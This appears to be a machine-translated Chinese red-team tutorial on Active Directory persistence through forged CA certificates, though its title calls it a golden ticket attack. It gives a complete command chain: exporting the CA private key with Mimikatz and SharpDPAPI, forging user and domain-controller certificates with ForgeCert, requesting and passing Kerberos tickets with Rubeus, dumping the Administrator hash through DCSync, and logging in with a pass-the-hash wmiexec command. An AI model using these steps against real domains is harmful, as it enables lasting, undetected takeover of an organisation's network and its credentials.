域持久性控制技术之黄金票据攻击

域持久性控制技术之黄金票据攻击

域持久性技术使已经破坏域的红队能够在很长一段时间内以最高级别的权限进行操作。最常见的域持久性技术之一是金票攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。“ 帐户。但是,在部署了充当 Active Directory 认证服务 (AD CS) 的服务器的域中,可能会在发生入侵时被滥用以实现域持久性控制。这是可行的,通过窃取 CA 证书的私钥,红队可以伪造和签署证书以用于身份验证。在部署 Active Directory 证书服务 (AD CS) 期间,域中默认启用基于证书的身份验证。因此,需要将这些系统视为第 0 层资产并得到适当保护。

最初,这项技术是由Benjamin Delpy在 Mimikatz 中实现的。然而,Will SchroederLee ChristensenCertified Pre-Owned论文中讨论了这个话题,并发布了一个可以在红队操作期间使用的工具来伪造 CA 证书。与其他技术(如DCShadow和 Golden Ticket)相比,通过黄金证书进行红队评估和域持久性在雷达下运行至关重要。通过黄金证书执行域持久化需要以下步骤:

  1. 证书提取 (CA)
  2. 伪造CA证书
  3. 获取 Kerberos 票证(DC 的机器账户)
  4. 执行递票

证书提取

CA 证书和私钥存储在 CA 服务器中。使用与系统的 RDP 连接,可以使用“ certsrv.msc ”的备份功能检索这些信息。

域持久性控制技术之黄金票据攻击
certsrv – 备份 CA证书

在证书颁发机构备份向导中,私钥和 CA 证书都可以导出到指定位置。

域持久性控制技术之黄金票据攻击
certsrv – 私钥和备份位置

CA 证书将导出为 p12 文件(个人信息交换)。

域持久性控制技术之黄金票据攻击
certsrv – 提取的 CA

但是,还有多种其他方法可用于从服务器提取 CA 证书和私钥。使用参数“ Certificates ”执行Seatbelt可以枚举存储的CA证书。

Seatbelt.exe Certificates
域持久性控制技术之黄金票据攻击
安全带 – 本地机器

Mimikatz 还可以与加密存储进行交互,以检索和导出证书和私钥。修补“ CryptoAPI ”和“ KeyIso ”不可导出的密钥将可以从许多密钥提供程序导出。

privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
域持久性控制技术之黄金票据攻击
Mimikatz – 导出证书
域持久性控制技术之黄金票据攻击
Mimikatz – CA 证书

证书将以 .DER 和 .PFX 格式提取到磁盘上。

域持久性控制技术之黄金票据攻击

SharpDPAPI也可用于提取证书。执行“ certificates /machine ”命令将使用机器证书存储来提取可解密的机器证书和私钥。

SharpDPAPI.exe certificates /machine
域持久性控制技术之黄金票据攻击
SharpDPAPI – 机器证书

私钥和证书都将显示在控制台中。

域持久性控制技术之黄金票据攻击
SharpDPAPI – CA 证书

提取的私钥和证书可以写入扩展名为 .PEM 的文件中。执行以下命令可以将证书转换为可用格式,如 .PFX 允许用于使用 Rubeus 进行身份验证。

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
域持久性控制技术之黄金票据攻击
将证书转换为 PFX

伪造CA证书

Mimikatz 可用于通过使用“ crypto::scauth ”模块来伪造和签署证书。该模块最初是为创建智能卡身份验证客户端证书而开发的。所需的参数是证书颁发机构的主题名称和将创建证书的用户的用户主体名称。可选地,“ /pfx ”参数可用于定义将要创建的证书的文件名。

crypto::scauth /caname:ca /upn:[email protected]
域持久性控制技术之黄金票据攻击
伪造CA证书——Mimikatz

或者,ForgeCert是由Lee Christensen在 C# 中开发的,它使红队能够使用 CA 证书为任何域用户伪造证书进行身份验证。该工具可以从植入物的内存中执行,并将文件写入磁盘。执行以下命令将为“ pentestlab ”用户创建一个假证书,该证书将由 CA 证书的私钥签名。

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath localadmin.pfx --NewCertPassword Password123
域持久性控制技术之黄金票据攻击
伪造CA证书-域用户

应该注意的是,必须为域上的活动用户创建证书。因此它不能用于“ krbtgt ”帐户。伪造证书的有效期为1年,只要CA证书有效(一般为5年)就有效。除了域用户帐户外,机器帐户也可用于域持久性,因为可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技术。

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath DC$.pfx --NewCertPassword Password123
域持久性控制技术之黄金票据攻击
伪造证书-机器帐户

Kerberos 票证

可以使用伪造的证书从密钥分发中心 (KDC) 请求 Kerberos 票证以进行身份​​验证。

Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123
域持久性控制技术之黄金票据攻击
Rubeus – Kerberos 票证
域持久性控制技术之黄金票据攻击
Rubeus – 域用户票

传递票据

可以从域中的任何主机使用属于域控制器的机器帐户的证书来请求 Kerberos 票证。执行以下命令将检索 base64 格式的票证。

Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123
域持久性控制技术之黄金票据攻击
Rubeus – 请求 DC 机器帐户的票证
域持久性控制技术之黄金票据攻击
DC 机器帐户 Base64 票证

base64 票证可以被解码并写入扩展名为 .kirbi 的文件中。

echo "<base64>" | base64 -d > dc$.kirbi
域持久性控制技术之黄金票据攻击
将 Base64 票证转换为 Kirbi

票证可以传输到任何 Windows 主机,并使用传递票证技术导入任何用户会话。

Rubeus.exe ptt /ticket:dc$.kirbi
域持久性控制技术之黄金票据攻击
Rubeus-传递票据

由于票据属于域控制器的计算机帐户,因此可以执行提升权限的活动,例如 DCSync。从当前执行 Mimikatz 并运行以下命令的会话中,将检索作为域管理员帐户的用户 Administrator 的 NTLM 哈希。

lsadump::dcsync /user:Administrator
域持久性控制技术之黄金票据攻击
Mimikatz – DCSync

hash可用于通过散列技术或通过 WMI 连接建立对域控制器的访问。

python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]
域持久性控制技术之黄金票据攻击
WMI 连接 – 域控制器

YouTube视频演示

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注